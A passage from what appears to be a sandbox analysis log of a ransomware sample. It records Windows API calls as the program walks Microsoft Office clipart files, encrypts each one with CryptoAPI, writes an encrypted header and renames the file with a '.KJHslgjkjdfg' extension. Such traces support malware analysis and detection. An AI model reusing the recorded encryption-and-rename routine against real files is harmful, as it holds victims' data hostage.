| out: lpNewFilePointer=0x0) returned 1 [0187.637] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0187.639] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.639] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.639] GetProcessHeap () returned 0x990000 [0187.639] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.639] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.639] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.639] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.639] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.639] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.639] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.640] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.640] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.640] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x246a, lpOverlapped=0x0) returned 1 [0187.641] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2470, dwBufLen=0x2470 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2470) returned 1 [0187.641] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.641] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2470, lpOverlapped=0x0) returned 1 [0187.642] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.642] SetEndOfFile (hFile=0x130) returned 1 [0187.644] GetProcessHeap () returned 0x990000 [0187.644] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.644] GetProcessHeap () returned 0x990000 [0187.644] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.645] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.kjhslgjkjdfg")) returned 1 [0187.646] CloseHandle (hObject=0x130) returned 1 [0187.646] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0187.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.647] GetProcessHeap () returned 0x990000 [0187.647] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.647] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.647] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.647] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.656] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.656] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.656] GetProcessHeap () returned 0x990000 [0187.656] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0187.656] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0187.656] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.656] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0187.656] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.657] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.657] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.657] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.657] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.657] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.657] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdec, lpOverlapped=0x0) returned 1 [0187.657] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdf0) returned 1 [0187.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.657] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdf0, lpOverlapped=0x0) returned 1 [0187.657] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.657] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.657] SetEndOfFile (hFile=0x130) returned 1 [0187.660] GetProcessHeap () returned 0x990000 [0187.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0187.660] GetProcessHeap () returned 0x990000 [0187.660] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.660] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.kjhslgjkjdfg")) returned 1 [0187.661] CloseHandle (hObject=0x130) returned 1 [0187.661] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLASSIC1.WMF", cAlternateFileName="")) returned 1 [0187.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.663] GetProcessHeap () returned 0x990000 [0187.663] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.663] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.663] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.664] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.666] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.666] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.666] GetProcessHeap () returned 0x990000 [0187.666] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.666] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.666] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.666] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.666] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.666] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.666] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.667] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.667] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.667] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.667] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x976, lpOverlapped=0x0) returned 1 [0187.667] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x980, dwBufLen=0x980 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x980) returned 1 [0187.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.667] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x980, lpOverlapped=0x0) returned 1 [0187.667] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.667] SetEndOfFile (hFile=0x130) returned 1 [0187.670] GetProcessHeap () returned 0x990000 [0187.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.670] GetProcessHeap () returned 0x990000 [0187.670] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.kjhslgjkjdfg")) returned 1 [0187.672] CloseHandle (hObject=0x130) returned 1 [0187.672] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLASSIC2.WMF", cAlternateFileName="")) returned 1 [0187.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.673] GetProcessHeap () returned 0x990000 [0187.673] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.673] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.673] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.673] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.675] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.675] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.675] GetProcessHeap () returned 0x990000 [0187.675] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0187.675] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0187.675] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.675] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0187.676] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.676] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0187.676] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0187.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0187.676] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0187.676] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.676] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.676] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8d6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8d6, lpOverlapped=0x0) returned 1 [0187.676] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8e0) returned 1 [0187.676] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.676] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8e0, lpOverlapped=0x0) returned 1 [0187.677] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.677] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.677] SetEndOfFile (hFile=0x130) returned 1 [0187.679] GetProcessHeap () returned 0x990000 [0187.679] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0187.679] GetProcessHeap () returned 0x990000 [0187.679] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0187.679] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic2.wmf.kjhslgjkjdfg")) returned 1 [0187.680] CloseHandle (hObject=0x130) returned 1 [0187.680] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIP.WMF", cAlternateFileName="")) returned 1 [0187.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0187.681] GetProcessHeap () returned 0x990000 [0187.681] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0187.681] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0187.681] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0187.682] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0187.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0187.684] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0187.684] GetProcessHeap () returned 0x990000 [0187.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0187.684] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0187.684] CryptDestroyKey (hKey=0x9b6628) returned 1 [0187.684] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0187.684] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0187.684] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, 